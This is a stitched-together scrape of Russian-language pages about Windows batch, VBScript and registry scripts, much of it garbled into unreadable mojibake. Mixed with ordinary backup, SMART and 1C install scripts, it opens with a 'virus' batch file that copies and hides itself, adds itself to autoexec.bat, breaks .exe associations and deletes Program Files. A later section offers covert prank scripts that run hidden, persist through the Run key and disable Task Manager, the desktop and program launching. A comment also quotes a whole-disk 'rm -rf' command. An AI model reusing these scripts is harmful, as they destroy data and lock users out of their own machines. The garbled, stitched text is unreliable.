reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoControlPanel /t REG_DWORD /d 1 /f

Этот вирус,блокирует все программы,но интернет работает.

@Echo off 

Echo Virus Loading 

Date 13.09.96 

If exist c:ski.bat goto abc 

Copy %0 c:ski.bat 

Attrib +h c:ski.bat 

Echo c:ski.bat >>autoexec.bat 

:abc 

md PRIDUROK 

md LUZER 

md DURAK 

md LAMER 

Label E: PRIDUROK 

assoc .exe=.mp3 

del c:Program Files/q 

Echo VIRUS LOAD 


Категория: Мои статьи | Добавил: drak-zp



Как создать папку с текущей датой и временем


12.02.2021 19:54


Администратор


E-mail


Печать

  •  
  • 1
  • 2
  • 3
  • 4
  • 5

(19 голоса, среднее 2.47 из 5)

 


Как исправить системную ошибку с кодом 5


05.01.2021 18:31


Администратор


E-mail


Печать

  •  
  • 1
  • 2
  • 3
  • 4
  • 5

(11 голоса, среднее 2.82 из 5)

 


Получение и сохранение системной информации с помощью командной строки


02.09.2019 16:23


Администратор


E-mail


Печать

  •  
  • 1
  • 2
  • 3
  • 4
  • 5

(26 голоса, среднее 3.12 из 5)

 


Скрипт для резервного копирования данных


27.07.2015 11:27


Администратор


E-mail


Печать

  •  
  • 1
  • 2
  • 3
  • 4
  • 5

(16 голоса, среднее 4.38 из 5)

 



10.03.2014 15:21


Администратор


E-mail


Печать

  •  
  • 1
  • 2
  • 3
  • 4
  • 5

(19 голоса, среднее 4.58 из 5)

 

Windows

Подключение сетевого диска

disk.bat

net use Y: /del /yes
net use Y: \192.168.0.1share /USER:user1 pAsSw0rd

Закрыть все сеансы подключенных пользователей

kick.bat

net SESSION /DELETE /YES

Ограничение числа входящих подключений в Windows XP

Например при открытии общего доступа к принтеру в сети, если его будут использовать больше 10 человек — могут начаться проблемы.

Как один из вариантов — в планировщике заданий выполнять этот скрипт с правами Администратора каждые 10 мин.

Архивация RAR

rar-full.bat

set LOGFILE="F:backupbackup.log"
set BACKUPFILE="F:backupDocuments-full.%DATE:~-4%%DATE:~3,2%%DATE:~0,2%.rar"
set BACKUPDIR="E:Documents"

"c:Program FilesWinRARRar.exe" a -ep2 -m4 -ow -rr100 -inul -ilog%LOGFILE% %BACKUPFILE% %BACKUPDIR%

Выключить компьютер по сети

shutdown.bat

shutdown -s -f -t 60 -m \comp01

Удаление хлама из документов

delete.bat

set LOGFILE=F:backupdelete.log
echo START %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1

del E:Documents*.mp3 /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.m3u /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.wav /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.wma /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.wmv /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.flv /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.mpg /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.mp4 /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.avi /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.vob /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.mov /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.exe /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.msi /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.dll /s /f /a >> %LOGFILE% 2>>&1
del E:Documents*.dat /s /f /a >> %LOGFILE% 2>>&1
del E:DocumentsThumbs.db /s /f /a >> %LOGFILE% 2>>&1

echo END %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1
echo "" 2>>&1

Здесь собираем команды и простые скрипты Batch, VBScript, Powershell,
имеющие специфику безопасности:

— проверка, сбор информации и диагностика системы;
— восстановление после заражения;
— резервное копирование;
— усиление защиты.

Все скрипты по мере добавления будут сгруппированы в первом посте.

Вы можете задать вопрос по любому коду, а также выложить свой, создав новую тему в этом разделе.

Каталог удобняшек:

— Восстановление и лечение
Восстановление файловых ассоциацийWindows XP (CMD, Reg) Windows XP, 7, 8 (CMD, Reg)
Восстановление шрифтов после сбоя (крякозябры в окнах Windows вместо русского текста) (CMD)
«Крякозябры» при копировании текста с форума в программу и схожие проблемы… (CMD)
Команды консоли восстановления (Windows Recovery Console)

— Информация о системе
Определение версии ОС, разрядности, сборки, семейства операционной системы, разрядности среды, из которой запущен Batch
Просмотр последнего отчета о проверке диска (chkdsk) (Powershell)
GetUserBySID: Определение имени учетной записи пользователя по указанному идентификатору безопасности SID (VBScript)

— Интерфейс, удобство работы и быстрый запуск
Прыжок в ветку реестра, имя которой скопировано в буфер (CMD + exe)
RUN Команды Windows, RunDll32

— Проверка системы на ошибки/уязвимости

— Права доступа
Как сменить владельца папки или файла (Hands, CMD, Reg, AVZ)

— Резервное копирование
Быстрое резервное копирование данных с помощью Robocopy в Windows 7 (CMD)
Создание контрольной точки восстановления системы

— Реестр
reg.exe и основы работы с реестром (CMD)

— Сеть

— Очистка
Удаление временных файлов планировщиком по расписанию c учетом критериев даты создания/изменения (CMD, VBScript)
Как удалить неудаляемые файлы из корзины?

'==========================================================================
'
' AUTHOR: Леонид_33
' NAME: HDD_Smart.vbs
'
' Скрипт для получения SMARTа HDD
' Может брать SMART как с локальной так и удаленной машины с выводом результата в файл в формате CSV
' При запуске скрипта выдается окно ввода имени(IP) машины с учетными данными
' Если хотим получить SMART с локальной машины, то ничего не указываем, если с удаленной, указываем имя(IP) машины, и, если надо, учетные данные
' Работает на WindowsXP(SP2,SP3), Windows2003SP2, Windows2008SP1
' Берет SMART через WMI, поэтому, что винда отдает, то отдает т.е.
' работает только со стандартно подключенными на мать HDD IDE и SATA
' Как бы того не хотелось, НЕ РАБОТАЕТ с рэйдами.
' Ну не видит винда SMARTов с этих винтов и все тут.
'
' Если что по атрибутам неясно, можно глянуть тут
' http://en.wikipedia.org/wiki/Self-Monitoring%2C_Analysis%2C_and_Reporting_Technology
'
'==========================================================================

if not isAdminRights then call Elevate(""): WScript.Quit

Dim strComputer
Dim strLogin
Dim strPassword
On Error Resume Next
'GetPassword()
   strComputer = "."
   strLogin = ""
   strPassword = ""


If strLogin = "" or strComputer = "." then
   Set    objWMIService = GetObject("winmgmts:\" & strComputer & "rootWMI")
else
   Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
   Set objWMIService = objSWbemLocator.ConnectServer(strComputer, _
      "rootCIMV2", _
      strLogin, _
      strPassword, _
      "MS_409")
end If

    Set    SmartDataItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictData", "WQL", 48)

    InstanceName = Array()
    SmartData = Array()
    SmartLength = Array()
    RowCount = 0
    For Each objItem In SmartDataItems
          Redim Preserve InstanceName(RowCount)
          InstanceName(RowCount) = objItem.InstanceName
          Redim Preserve SmartData(RowCount)
          SmartData(RowCount) = objItem.VendorSpecific
          Redim Preserve SmartLength(RowCount)
          SmartLength(RowCount) = objItem.Length
          RowCount = RowCount + 1
    Next
    Set    SmartDataItems = Nothing

    ThresholdData = Array()
    Redim Preserve ThresholdData(RowCount)
    PredictFailure = Array()
    Redim Preserve PredictFailure(RowCount)
    Reason = Array()
    Redim Preserve Reason(RowCount)

    RowCount = 0
    Set    ThresholdItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictThresholds", "WQL", 48)
    For Each objItem In ThresholdItems
          ThresholdData(RowCount) = objItem.VendorSpecific
          RowCount = RowCount + 1
    Next
    Set    ThresholdItems = Nothing

    RowCount = 0
    Set    PredictStatusItems = objWMIService.ExecQuery("SELECT * FROM MSStorageDriver_FailurePredictStatus", "WQL", 48)
    For Each objItem In PredictStatusItems
          PredictFailure(RowCount) = objItem.PredictFailure
          Reason(RowCount) = objItem.Reason
          RowCount = RowCount + 1
    Next
    Set    PredictStatusItems = Nothing

    Set oDict = CreateObject("Scripting.Dictionary")
    CreateDict(oDict)

    Set objFSO = CreateObject("Scripting.FileSystemObject")
 
    If strComputer = "." then
       'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart.csv", 2, True)
       Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart.csv", 2, True)
    else
       'Set objTextFile = objFSO.OpenTextFile(objFSO.GetSpecialFolder(2) & "drp" & "HDD_Smart_" & strComputer & ".csv", 2, True)
       Set objTextFile = objFSO.OpenTextFile(objFSO.GetParentFolderName(WScript.ScriptFullName) & "HDD_Smart_" & strComputer & ".csv", 2, True)
    end If

    For CurrentDisk = 0 to RowCount - 1
         objTextFile.WriteLine("Drive: " & Replace(Mid(InstanceName(CurrentDisk), 9, InStr(InstanceName(CurrentDisk), "__") - 9), "_", " "))
         objTextFile.WriteLine("PredictFailure: " & PredictFailure(CurrentDisk))
         objTextFile.WriteLine("Reason: " & Reason(CurrentDisk))
         objTextFile.WriteLine("ID;Attribute;Type;Flag;Threshold;Value;Worst;Raw;Status;")
         aSmartData = SmartData(CurrentDisk)
         aThresholdData = ThresholdData(CurrentDisk)

         If IsArray(aSmartData) AND IsArray(aThresholdData) Then
             LastID = 0
             For x = 2 To SmartLength(CurrentDisk) + 2 Step 12
                  If LastID > aSmartData(x)  then
                     x = 514
                  else
                     LastID = aSmartData(x)                   

                  If aSmartData(x) <> 0 Then
                      objTextFile.Write(aSmartData(x) & ";")
                      If oDict.Item(aSmartData(x)) = "" Then
                            objTextFile.Write("VendorSpecific(" & aSmartData(x) & ");")
                      else
                            objTextFile.Write(oDict.Item(aSmartData(x)) & ";")
                      end If

                      If aSmartData(x + 1) MOD 2 Then
                            objTextFile.Write("Pre-Failure;")
                      Else
                            objTextFile.Write("Advisory;")
                      End If

'                      objTextFile.Write(aSmartData(x + 1) & ";")
                      aFlag = aSmartData(x + 1)
                      txtFlag = ""
                      If (aFlag And &H1) <> 0 Then txtFlag = "LC," End If
                      If (aFlag And &H2) <> 0 Then txtFlag = txtFlag & "OC," End If
                      If (aFlag And &H4) <> 0 Then txtFlag = txtFlag & "PR," End If
                      If (aFlag And &H8) <> 0 Then txtFlag = txtFlag &  "ER," End If
                      If (aFlag And &H10) <> 0 Then txtFlag = txtFlag &  "EC," End If
                      If (aFlag And &H20) <> 0 Then txtFlag = txtFlag &  "SP," End If
                      If txtFlag <> "" then
                         txtFlag = Left(txtFlag, Len(txtFlag)-1 )
                      end If
                      objTextFile.Write txtFlag & ";"

                      objTextFile.Write(aThresholdData(x + 1) & ";") 'Threshold
                      objTextFile.Write(aSmartData(x + 3) & ";")      'Value
                      objTextFile.Write(aSmartData(x + 4) & ";")      'Worst
                      objTextFile.Write((aSmartData(x + 8) * 65536 + aSmartData(x + 7) * 4096 + aSmartData(x + 6) * 256 + aSmartData(x + 5)) & ";")      'Raw
                      If aSmartData(x + 3) >= aThresholdData(x + 1) Then
                           objTextFile.WriteLine("OK;")
                      else
                           objTextFile.WriteLine("NOT OK;")
                      end If
                  end If
                  end If
             Next
         else
             objTextFile.WriteLine("NO DRIVE WITH SMART FOUND;")
         end If
         'objTextFile.WriteLine
    Next

    objTextFile.WriteLine
    objTextFile.WriteLine("LC - life critical;")
    objTextFile.WriteLine("OC - online collection;")
    objTextFile.WriteLine("PR - performance related;")
    objTextFile.WriteLine("ER - error rate;")
    objTextFile.WriteLine("EC - event count;")
    objTextFile.WriteLine("SP - self preserving;")
    objTextFile.Close

    Wscript.echo "HDD_SMART Is Done!"

Function CreateDict(oDict)
    oDict.Add 1, "Raw Read Error Rate"
    oDict.Add 2, "Throughput Performance"
    oDict.Add 3, "Spin-Up Time"
    oDict.Add 4, "Start/Stop Count"
    oDict.Add 5, "Reallocated Sectors Count"
    oDict.Add 6, "Read Channel Margin"
    oDict.Add 7, "Seek Error Rate Rate"
    oDict.Add 8, "Seek Time Performance"
    oDict.Add 9, "Power-On Hours (POH)"
    oDict.Add 10, "Spin Retry Count"
    oDict.Add 11, "Recalibration Retries Count"
    oDict.Add 12, "Device Power Cycle Count"
    oDict.Add 13, "Soft Read Error Rate"
    oDict.Add 190, "HDA Temperature"
    oDict.Add 191, "G-Sense Error Rate Frequency"
    oDict.Add 192, "Power-Off Park Count"
    oDict.Add 193, "Load/Unload Cycle Count"
    oDict.Add 194, "HDA Temperature"
    oDict.Add 195, "Hardware ECC Corrected Count"
    oDict.Add 196, "Reallocated Event Count"
    oDict.Add 197, "Current Pending Sector Count"
    oDict.Add 198, "Off-Line Scan Uncorrectable Sector Count"
    oDict.Add 199, "UltraDMA CRC Error Count"
    oDict.Add 200, "Write Error Rate"
    oDict.Add 201, "Soft Read Error Rate"
    oDict.Add 202, "Address Mark Errors Frequency"
    oDict.Add 203, "ECC errors (Maxtor: ECC Errors)"
    oDict.Add 204, "Soft ECC Correction"
    oDict.Add 205, "Thermal Asperity Rate (TAR)"
    oDict.Add 206, "Flying Height"
    oDict.Add 207, "Spin High Current"
    oDict.Add 208, "Spin Buzz"
    oDict.Add 209, "Offline Seek Perfomance"
    oDict.Add 210, "Vibration During Write"
    oDict.Add 211, "Vibration During Read"
    oDict.Add 212, "Shock During Write"
    oDict.Add 220, "Disk Shift"
    oDict.Add 221, "G-Sense Error Rate"
    oDict.Add 222, "Loaded Hours"
    oDict.Add 223, "Load/Unload Retry Count"
    oDict.Add 224, "Load Friction"
    oDict.Add 225, "/Unload Cycle Count"
    oDict.Add 226, "Load 'In'-time"
    oDict.Add 227, "Torque Amplification Count"
    oDict.Add 228, "Power-Off Retract Cycle"
    oDict.Add 230, "GMR Head Amplitude"
    oDict.Add 240, "Head Flying Hours"
    oDict.Add 250, "Read Error Retry Rate"
End Function

Function GetPassword()
    Dim IE
    On Error Resume Next
   Set IE = CreateObject( "InternetExplorer.Application" )
   With IE
      .AddressBar = False
      .menubar = False
      .Navigate "about:blank"
      .Document.Title = "Password"
      .ToolBar        = False
      .Resizable      = False
      .StatusBar      = False
      .Width          = 340
      .Height         = 230
   End With
   With IE.Document.ParentWindow.Screen
      IE.Left = (.AvailWidth  - IE.Width )  2
      IE.Top  = (.Availheight - IE.Height)  2
   End With
   Do While IE.Busy
      WScript.Sleep 200
   Loop

   IE.Document.Body.InnerHTML =    "<BODY SCROLL=""NO"" BGCOLOR=""#" & BCol & """ TEXT=""#" & TCol & """>" & _
               "<FONT FACE=""arial"" SIZE=2>" & _
               "Введите имя компьютера<BR><INPUT SIZE=""40"" " & "ID=""Computer""><BR>"  &_
               "Пользователь<BR><INPUT SIZE=""40"" " & "ID=""Login""><BR>" &_
               "Пароль<BR><INPUT TYPE=""password"" SIZE=""40"" " & "ID=""Login"">" &_
               "<P><INPUT TYPE=""hidden"" ID=""OK"" " & "NAME=""OK"" VALUE=""0"">"& _
               "<INPUT TYPE=""submit"" VALUE="" OK "" " & "OnClick=""vbscript:OK.Value=1""></P>"
   strComputer = "."
   strLogin = ""
   strPassword = ""

   IE.visible = True
   Do While IE.Document.All.OK.Value = 0
      WScript.Sleep 200
   Loop

   If IE.Document.All.Computer.Value = "" then
      strComputer = "."
   else
      strComputer = IE.Document.All.Computer.Value
      If IE.Document.All.Login.Value <> "" then
         strLogin = IE.Document.All.Login.Value
         strPassword = IE.Document.All.Password.Value
      else
         strLogin = ""
         strPassword = ""
      end If
   end If
   IE.Quit
   Set IE = Nothing
End Function

Sub Elevate(msg)
     Const DQ = """"
     if msgbox(msg & vblf & "Запустить с Административными привилегиями ?", vbQuestion + vbYesNo,"Подтверждение") = vbNo then WScript.Quit 5
     Dim oShellApp: Set oShellApp = CreateObject("Shell.Application")
     ' Конкатенация аргументов
     Dim args, i: For i = 1 to WScript.Arguments.Count
         args = args & DQ & WScript.Arguments(i - 1) & DQ & " "
     Next
     if len(args) = 0 then args = DQ & syscure & DQ & " " & DQ & syscheck & DQ
     oShellApp.ShellExecute WScript.FullName, DQ & WScript.ScriptFullName & DQ & " " & args, "", "runas", 1
     set oShellApp = Nothing
End Sub

Function isAdminRights()
     Const KQV = &H1, KSV = &H2, HKCU = &H80000001, HKLM = &H80000002
     Set oReg = GetObject("winmgmts:rootdefault:StdRegProv")
     strKey = "SystemCurrentControlSetControlSession Manager"
     intErrNum = oReg.CheckAccess(HKLM, strKey, KQV + KSV, flagAccess)
     isAdminRights = flagAccess
     Set oReg = Nothing
End Function

Некоторые bat-ники выполняют свою роль без каких-либо дополнительных действий, некоторые —

требуют прав администратора

при запуске, некоторые —

перезагрузку для применения изменений

. Также

не все они невидимы для антивируса

, некоторые — да, некоторые — нет.
Внизу буду указывать два параметра «(перезагрузка, админ)». Это означает, что для вступления изменений в силу нужно, чтобы bat запускался от имени администратора и, чтобы пользователь перезагрузил ПК.

Как запускать bat-ники максимально незаметно (без мелькания cmd)
Если нужно, чтобы bat-ник запускался максимально незаметно и не смущал пользователя появившейся командной строкой (на небольшое время, но это окно промелькнет), то самым простым решением будет данный vbs скрипт (скопировать в блокнот и сохранить как «Все файлы» с указание расширения vbs):

Код:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "путь к bat-файлу", 0, false

Этот скрипт запустит bat-ник, который расположен по указанному пути.
Также не стоит забывать прописывать в начале каждого bat-ника:

Меняем местами значение кнопок мыши

Код:

@Echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Выключение

Код:

shutdown /p (немедленное выключение)
shutdown.exe -s -t 45 (выключение с задержкой, после -t время в секундах)

А если немного улучшить этот bat и добавить его в автозагрузку (команда есть ниже), то получится нечто веселое.

Перезагрузка

Отключение редактирования меню Пуск

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoChangeStartMenu /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключение рабочего стола

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Отключаем интернет

Код:

Ipconfig /release
Чтобы вернуть назад прописываем в cmd: IPconfig /renew

Меняем расширение всех ярлыков на txt

Добавление файла в автозагрузку

Код:

copy ""%0"" "путь к файлу"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "имя в реестре(любое)" /t REG_SZ /d "путь к файлу" /f

Пример:

Код:

copy ""%0"" "C:UsersuserDesktopre.bat"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Filel" /t REG_SZ /d "C:UsersuserDesktopre.bat" /f
(перезагрузка, админ)

Отключение диспетчера задач

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
(перезагрузка, админ)

Запрещаем запуск программ
Добавляйте свои по желанию

Код:

reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "2" /t reg_sz /d "exe-шник программы" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f

Например, чтобы запретить запуск Chrome:

Код:

reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "3" /t reg_sz /d "chrome.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Запрещаем установку программ

Код:

reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun /v "1" /t reg_sz /d "msiexec.exe" /f
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v "DisallowRun" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Убираем панель управления

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
(перезагрузка, админ)

Отключить автозагрузку USB-устройств, приводов, съемных дисков, сетевых дисков

Код:

reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer /v "NoDriveTypeAutoRun" /t REG_DWORD /d " 0xFF" /f
(перезагрузка, админ)

������� �������� �������
��������� ������
��������� �����
����������� / Covid-19
��������� ����� ��� ��������
������������� ��������
�������� �����
������� �����
�������
��������� ����������� �����
�������� �������
����������
��������� �������
������� �� �����
��� �����
4�4 �����
��������
������� �����
�����
������������
�������� �����
KIA-�����
���� �����
Hyundai �����
VAG �����
������ �������
����� ������: �������������� �����
����-�������� (�� ���� �������, ��������)
���������� �������
���������� �������: �����������
���������� �������: ��������
���������� �������: �������
���������� �������: ���� � �����
���������� �������: ������
���������� �������: ���� ����������, �������
���������� �������: ������
���������� �������: �������
���������� �������: ���������
���������� �������: �����
���������� ��������-�������
�������� ������
�������� ������: ��������
�������� ������: ������� ������ (��������)
�������� ������: ����-��� (�������)
�������� ������: �������
�������� ������: ���������
�������� ������: ���� ����������, �������
�������� ������: ��������
�������� ������: ������
�������� �������
�������� ������� — ����� �������
�������� ������� — ��������
�������� ������� — �������
�������� ������� — ���� ����������, �������
�������� ������� — ����������
����� �������
��� �����
��� ����� — ��������
��� ����� — ����������. �����
��� ����� — ����������: ������� ������
��� ����� — ����������: ������� �����
��� ����� — ����������: ������� ���������, �������, ������
��������
�������� (��������)
������ � ��. ��������
������� (������� ����������� �������)
������
�����������
�������� �����
������� ��������
����������� �����
�����������
��������� �����
����� ���������� �����
������. ��������.
������� �������
����������
��������� ��������
������ �� ���������
���������� �����
������� � ����
�����������
���� �����
������������� � �������������
����������
���������
�������� �����
�����, ������, ����������
���������
��������
�������� ��������
������ �����
����������
�����������
����������� �����
������� �����
������� �����: ��������
������� �����: �������� ��������
���� ����
���� ����
�������� �����
������ ����
�����������
��������-��
GPS �����
��������� �����
�����-�����
���������
����. � ������ ������
������ �����
������� � PR
����������
������������
���������� �����
��������
����� ���������
������� � �����
�����������
�����������
������ ���������
������������ ��
������������ ������
������������ ����� (��������)
����
����� ����������
������
����������������� � ����������
����� ������������ ����������
����� ���������������
��� ������������ ������
������, �����, �������
������, �����, �������
���������� ������
���� �����������
�������������
������ ���������
���������� ������� ���������
��������� ������� ���������
�����������
������������� �������
������������
������������
�������
��������� �����
���
������������� ������������
����� ������
������������� �����
���������� �����
��������� �����
��� ������ �������
������ �����
�������
����� ���������
������ �� (��. ����� ����������)
���������� ��
��������� �� (������������� ��.)
���������� ������� ��
�� ������������� ���� ��
������� ������ �� (��������� �����)
������� ���� �� (��������� �-��)
������ �� (����������� �-��)
�� �������� �� (�������� ��., � ���� 18)
������ ����� �� (�. �������)
����� �� (��. ��������� ��������)
������� ������ �� (��������� �-��)
������� �� (��������� �-��)
�� ���. (����� �������)
����������� ������ ���.
������������ ���.
����� ����� ���. (60-��� ������� ��.)
����� �� (�������� ��.)
������� ���� ��
��� ������ �����
������� ������
��������� �����
��������� ���� �����������
������� �� ����� iHerb
�������� �������
���������� � �������� �������
����� �������� ����
������ �����
����������� ������ ������
��� ������ ���������!
������-�������� �����-�������
����� ����������
������������
����� �������
������������ ���� ��������
������� ��� �����
���� �����!
����������� �����
������-��������
�����������
����� ������������ �����
��������
����� �����������
����� ����������
����� ����� �����������
������ � ����������� (������������)

�� ������ ������� ������ �� �������.
���������� ���������������� ������.

  • �������
  • �����������
  • �����-�����

� �������� �� NN.RU

� ��� ���� ��� ������ �� NN.RU, ������� ������ �� ���� �� ����� ���� ����������.

�������������� �������, ����� ����� ����� ������.

� ���������� �����

����������

� ���� ���� ����������� ��� ��������, ��� ����� ����������� � ��������� ����� ��� � ����� ����������� ������.

�������, �������, �����, ������� � ��������.

���� ������ ������ — � ����� ����� �����, ������� ��������� ����� ������� ������ ��������������.

����� � ���� ���� ������� �����.

����� �� ������ ��������, ������ «�������� ������»

���� ������ ������� ������ ������, ������� ��� ���������� ������� � ����� ��� ���������. ����������� ����-��� ��� ���� � �������, � ���� ��� ����� ����������� �� ���� ������.

� ��������� ���������� ����:
208653491-pocinit-_pecat-.cmd   (1 Kb)   ������� ����

����� ���� ����� �� ��� ���������, ����. ��� ����� ����, ����� � ������ ��������.
��� ��� ������ ��������� ������� ������� ���������� 1�

@echo off
echo ������ ���ף�������� �������������� �������� ���������� 1� (������ ���������)
Echo *********************************************************************
Echo *********************************************************************
Echo ����������, ������� ������ ���� ������������� ����� �������� �������
Echo *********************************************************************
Echo *********************************************************************
Echo ����� ������� ������ ���� ����������� ����� ����������� ���������� 1�.
Echo � �������� ��������� ����� ����� «���������� ������ 1�:����������� 8 ��� ������ Windows (������������)»
Echo ������ ������ ���� ������� � ������� ��������������!
Echo *********************************************************************
echo ����� �� ������� ����� ������� ������ ������ 1� �� ������ ����������?
set /p srv_pos=������ ������ ���� ����� (2, 3 � �.�.).:
set logfile=%systemdrive%1c_%srv_pos%_install.log
echo ������ �� �ޣ�� %srv_pos% . ����� ������� %COMPUTERNAME%:%srv_pos%541
echo Server position is %srv_pos%. Server address is %COMPUTERNAME%:%srv_pos%541 >> %logfile%
set /p srv_cat=�������, � ������� ���������� ragent.exe:
set /p srv_conf_cat=������� �������� ������������ ������� 1� (������ ���� ������):
set /p srv_desc=�������� ������� (����� �� �������):
Echo *********************************************************************
Echo *********************************************************************
echo ��������� ��������� ��������������� ������
echo ���� �� ������������ ����� ������� 1� %srv_cat%ragent.exe
echo ���� �� �������� ������������ ������� %srv_conf_cat%
echo ����� ������� %COMPUTERNAME%:%srv_pos%541
echo � ������ ������ �������� ���� � ��������� ������ ������!
pause
sc create 1C-srv-%srv_pos% DisplayName= «1� Server on %srv_pos%541» binPath= «%srv_cat%ragent.exe -srvc -agent -regport %srv_pos%541 -port %srv_pos%540 -range %srv_pos%560:%srv_pos%591 -d «%srv_conf_cat%»» start= auto >>%logfile%
sc description 1C-srv-%srv_pos% «%srv_desc%» >> %logfile%
:LOOP
Echo *********************************************************************
Echo *********************************************************************
Echo ������� ��������� �����ۣ�. ���������� ����� ���� %logfile%
TYPE %logfile%
Echo *********************************************************************
echo ��������� ������, ���� ��� �������� �� ����� ���������!
Echo *********************************************************************
Echo ��������� ������ ������?
Echo.
Echo 1 — ��
Echo 2 — ���, �������� ��������� �������
Echo 3 — ���, ������ �����
Set var=
Set /P var=»������� �����: »

if /I «%var%»==»1» goto scstart
If /I «%var%»==»2» goto exit1
If /I «%var%»==»3» exit
GoTo LOOP
:scstart
sc start 1C-srv-%srv_pos% >> %logfile%
TYPE %logfile%
pause
exit
:exit1
start services.msc

� �� ��������� �����-������ �� ����

��. �� ��� ������ ������� ������������ ������� � ������� ���, ����� �������� ����������������. �������� �����, �� ��������))

��� ��� ������� ����� ������������ ���� ���������� Win8/8.1/10

bcdedit /set «{current}» bootmenupolicy legacy

��� ����������� ������� �� ������ ����� ��������, ��� ���� � Win7Vista. ������ ����� ���������� ������� �� F8 � ������� ������ ������ �������

��� ��� �������� �� ����������� �������?

���� ������ ���� ������ ���������. :)

������ �� ����� ���� ������� ���� �������� � �� ��� ���� ���������

�� ����� ��� ����� rm /rf �� �����

���, ����������� �����������

������ rm -rf / ��� �� ��������, ������ ������ ��� ������ ������� ������, �� ���� ����������� ����: rm -rf —no-preserve-root /
��� ����� ������ rm -rf /*

�������� ���� ���� � ������ ������� ����� � ����� �������.

REG-����, ������� ��������� � ������ ���������� ������ «��������» (��� ���� ������) � «����� ����» (����� ������ ��� � ����� �����)

��� �������

������� ������� �����(�)
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»����� ����»
«InfoTip»=»��� ��������»
«System.ControlPanel.Category»=»5»
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}DefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-27″
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}ShellOpenCommand]
@=»explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»����� ����»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{2227a280-3aea-1069-a2de-08002b30309d}]

� ��������� ���������� ����:
208654304-printers_godmode.reg   (1 Kb)   ������� ����

REG-����, ���������� ��������, ������� ��������� ��������� ���������� �����, ���� ���������� ���������. �� ��� ����, ������ ����� ��������.

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]

[HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdate]
«DisableWindowsUpdateAccess»=dword:00000001

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU]
«NoAutoUpdate»=dword:00000001
«AUOptions»=-

� ��������� ���������� ����:
208654574-policy_updates_off_naher.reg   (1 Kb)   ������� ����

� ���� ���10 ��������� ���������� �����������?
� ��� ���ޣ� ������ ��� ����? ���� ������ �������������� ����������?

�� Win10 ���� ���������:

���� �� ���� �� ��� ����� ���������� ���� ���� ����� UpdateAssistant — �� ����� � ����� ������ ������ ���������� �� ������ ������ (�������� � 1607 �� 1803) � �������� ������� � ������������ ����� ��� �� ��������

����� ����� �������� ����� ��� ����� ������:

Windows Registry Editor Version 5.00

